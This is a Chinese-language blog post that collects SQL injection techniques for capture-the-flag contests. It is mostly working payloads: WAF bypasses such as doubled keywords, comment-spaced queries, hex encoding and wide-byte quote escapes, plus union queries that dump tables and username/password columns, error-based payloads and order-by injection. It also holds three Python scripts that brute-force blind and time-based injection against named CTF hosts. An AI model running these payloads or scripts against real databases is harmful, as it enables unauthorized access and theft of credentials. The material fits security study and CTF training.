打了一次比赛,大佬们都说简单,我却什么都做不出来,真心受伤的一逼,是时候学习一波大佬的经验了,本次主要想要抄袭一下鸡哥的what a fuck总结,嗯嗯.
1.WAF绕过姿势
(1)大小写绕过
SQL语句中对大小写没有限制,但是PHP中函数经常对大小写敏感,所以用到的地方较少。
(2)双关键字
有一种waf保护的方法是删除select 、 union等关键字,所以有时用两遍可以达到意想不到的效果。
http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
(3)空格绕过
这个就比较有用了,下面列举一下可用之法
注释隔断关键词
select/**/*/**/from/**/yz;
url替换
select%0a*%0afrom%0ayz; %0a 是回车
内联注释
/*!select*//*!**//*!from*//*!yz*/;
括号截断,神器!
select(a)from(yz);
select(a)from(yz)where(a=1);
(4)二次编码
来自一道题目,用到了url的二次编码
$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
%25转换之后时%
select * from yz
select * from %2579%257a
(5)十六进制绕过(引号绕过)
用过爆库的童鞋都知道,有时候一般的爆库不行,需要用16进制绕过
select a from yz where b=0x32;
select * from yz where b=char(0x32);
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
(6)逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。
substr(),mid()
mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
limit
selete * from testtable limit 2,1;
selete * from testtable limit 2 offset 1;
(7)比较符(<,>)绕过
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
if(substr(id,1,1)in(0x41),1,3)
(8)注释符绕过
这就得佩服鸡哥的伟大了
在注入时的注释符一般为# –当两者不能用时就不能闭合引号
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1
(1=1)中就有了判断位为下面的注入打下基础
(9)宽字节绕过
字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
(10)with rollup
一般结合group by使用
select 1 as test from yz group by test with rollup limit 1 offset 1;
+------+
| test |
+------+
| NULL |
+------+
2.正常注入的姿势
(1)得到字段总数
可以用order by查询,如果没有那么多列是会报错的,否则返回正常
select * from yz order by 3;
ERROR 1054 (42S22): Champ '3' inconnu dans order clause
也可以直接一个一个加列数尝试
id=-1 union select 1,2,3
id=1 and 1=2 union select 1,2,3
(2)查看数据库
union select 1,version(),database()
(3)爆库爆表
查选表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
查询列名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)
查看数据库内容,直接搜索即可
id=-1 union select 1,group_concat(username,password),3 from users
3.报错注入
group by 与 floor rand 函数的报错
payload
(select count(*) from (select 1 union select 2 union select 3)x group by concat(1,floor(rand(0)*2)))
报错需要count(*),rand()、group by,三者缺一不可。具体连接看这里吧
报错注入原理
下面是常用的鸡哥报错函数
1)extractvalue
extractvalue(1,concat(0x5c,(select 1)))
extractvalue(1,concat(0x5c,(select 1),0x5c,1))
2)updatexml
updatexml(1,concat(0x5c,(select 1)),0)
updatexml(1,concat(0x5c,(select 1),0x5c,1),0)
最近又出来了insert update的报错注入知识点如下
or 注入语句 or
整体式子为
INSERT INTO users (id, username, password) VALUES (2,'' or 注入语句 or'', '');
注意这个是有长度限制的,爆出来就32位,再长了爆不出来!
4.盲注
盲注的关键在于对payload的利用,直接上几个典型的盲注
(1)基于order by查询盲注
#_*_ coding:utf-8 _*_
import requests
url = 'http://aim.zhugeaq.com:83/index.php'
#data = {'username':"admin_r' union select 1,%s,2 order by 2#" ,'password':123}
flag = ''
for l in range(50):
for i in range(0x31,0x7e):
temp = flag +chr(i)
username ="admin_r' union select 1,2,'%s' order by 3#"%temp
#print username
data = {'username':username ,'password':123}
text = requests.post(url,data=data).text
#print text
if text == 'admin_r':
flag+=chr(i-1)
print 'flag is ',flag
break
print 'the final flag is ',flag
(2)基于时间盲注
#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,100):
havetry=0
for str in guess:
headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=6)
except requests.exceptions.ReadTimeout, e:
havetry=1
flag = flag + str
print "flag:", flag
break
if havetry==0:
break
print 'result:' + flag
(3)别管啥的二分盲注
盲注难免爆破字符,还是用二分法快一些
# coding:utf-8
import requests
from math import ceil
global string
string = ''
def charge(mid,i):#判断大小
url='http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=if(ascii(substr((select group_concat(readme) from chat_log_secret),{0},1))<={1},10000000000,23334)'.format(str(i),str(mid))
#
s=requests.get(url=url)
content=s.content
length=len(content)
#print length
if length > 10 :
return 0
else:
return 1
def dichotomie(l,r,i):#利用二分法查找
mid = (l+r)/2
#print "l and r ,mid:",l,r,mid
if l == r:
global string
string += chr(r)
print string
return 0
if charge(mid,i):#<=
#print 0
dichotomie(l,mid,i)
else:
#print 1
dichotomie(int(ceil((l+r)*1.0/2)),r,i)
for i in range(1,100):
dichotomie(32,127,i)
print string
(4)基于回显的盲注
在如下情况下
mysql> select flag from flag where ""^1^1;
Empty set, 1 warning (0.00 sec)
mysql> select flag from flag where ""^0^1;
+--------------------+
| flag |
+--------------------+
| njctf{this_is_key} |
+--------------------+
1 row in set, 1 warning (0.00 sec)
不同可以用来盲注
通过控制中间的点可以构成盲注,当剩下select、mid、ascii、=、()未过滤的时候可以构成如下语句(用括号绕过了空格过滤)
mysql> select(ascii(mid((select(flag)from(flag))from(2)))=106);
+---------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(2)))=106) |
+---------------------------------------------------+
| 1 |
+---------------------------------------------------+
1 row in set (0.00 sec)
5.MD5注入
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'6<trash>'
提供一个字符串:ffifdyop
6.order by name 注入
这个我没见过…应该属于另外一种方法吧。
order by name id
id是一个注入点
可以利用if语句进行注入
order by name ,if(1=1,1,select 1 from information_schema.tables)
如果为假则执行第二条语句,要么报错要么没有返回值。这属于盲注的一种。
7.order by的时间盲注
我们看一下下面语句
select flag from flag order by id 注入点
这里也可以利用时间盲注,构造方法如下
mysql> select * from flag order by id,if(1=1,sleep(1),1);
+------+-------+------------------------+
| id | user | flag |
+------+-------+------------------------+
| 1 | admin | flag{flag_is_here} |
| 2 | guest | flag{flag_is_not_here} |
| 3 | fuzz | flag{admin_is_not_me} |
+------+-------+------------------------+
3 rows in set (3.00 sec)
mysql> select * from flag order by id,if(1=0,sleep(1),1);
+------+-------+------------------------+
| id | user | flag |
+------+-------+------------------------+
| 1 | admin | flag{flag_is_here} |
| 2 | guest | flag{flag_is_not_here} |
| 3 | fuzz | flag{admin_is_not_me} |
+------+-------+------------------------+
3 rows in set (0.00 sec)
23333
鸡哥强无敌!!!
顺手记下来几个mysql比较有趣的特性
1
mysql> select flag from flag where ""^1^1;
Empty set, 1 warning (0.00 sec)
mysql> select flag from flag where ""^0^1;
+--------------------+
| flag |
+--------------------+
| njctf{this_is_key} |
+--------------------+
1 row in set, 1 warning (0.00 sec)
不同可以用来盲注
2
select flag from flag where 0
select flag from flag where 1
不同可以用来盲注
3
like前后如果是字符串的时候不需要空格
mysql> select 1 from flag where '1'like'2';
Empty set (0.00 sec)
mysql> select 1 from flag where '1'like'1';
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
如果是后面跟着语句的时候居然也是可以的!!!
mysql> select 1 from flag where '1'like(select('a'));
Empty set (0.00 sec)
mysql> select 1 from flag where '1'like(select('1'));
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
4
当information什么的被过滤了怎么办!!!在已经知道最终列名的情况下可以通过如下函数进行找到库、表名!
polygon、multipoint、multilinestring、multipolygon、linestring
5
当我们进行报错注入的时候,如果限制了limit可以用group_concat将table的结果都链接起来
mysql> select user from flag ;
+-------+
| user |
+-------+
| admin |
| guest |
| fuzz |
+-------+
3 rows in set (0.00 sec)
mysql> select group_concat(user) from flag ;
+--------------------+
| group_concat(user) |
+--------------------+
| admin,guest,fuzz |
+--------------------+
1 row in set (0.04 sec)
6
我们知道等号被过滤了可以用!<>代替,但是如果在where的部分该怎么办呢???
这么弄!!!
mysql> select flag from flag where id =1;
+--------------------+
| flag |
+--------------------+
| flag{flag_is_here} |
+--------------------+
1 row in set (0.00 sec)
mysql> select flag from flag where !(id <>1);
+--------------------+
| flag |
+--------------------+
| flag{flag_is_here} |
+--------------------+
1 row in set (0.12 sec)
真是长见识了!!1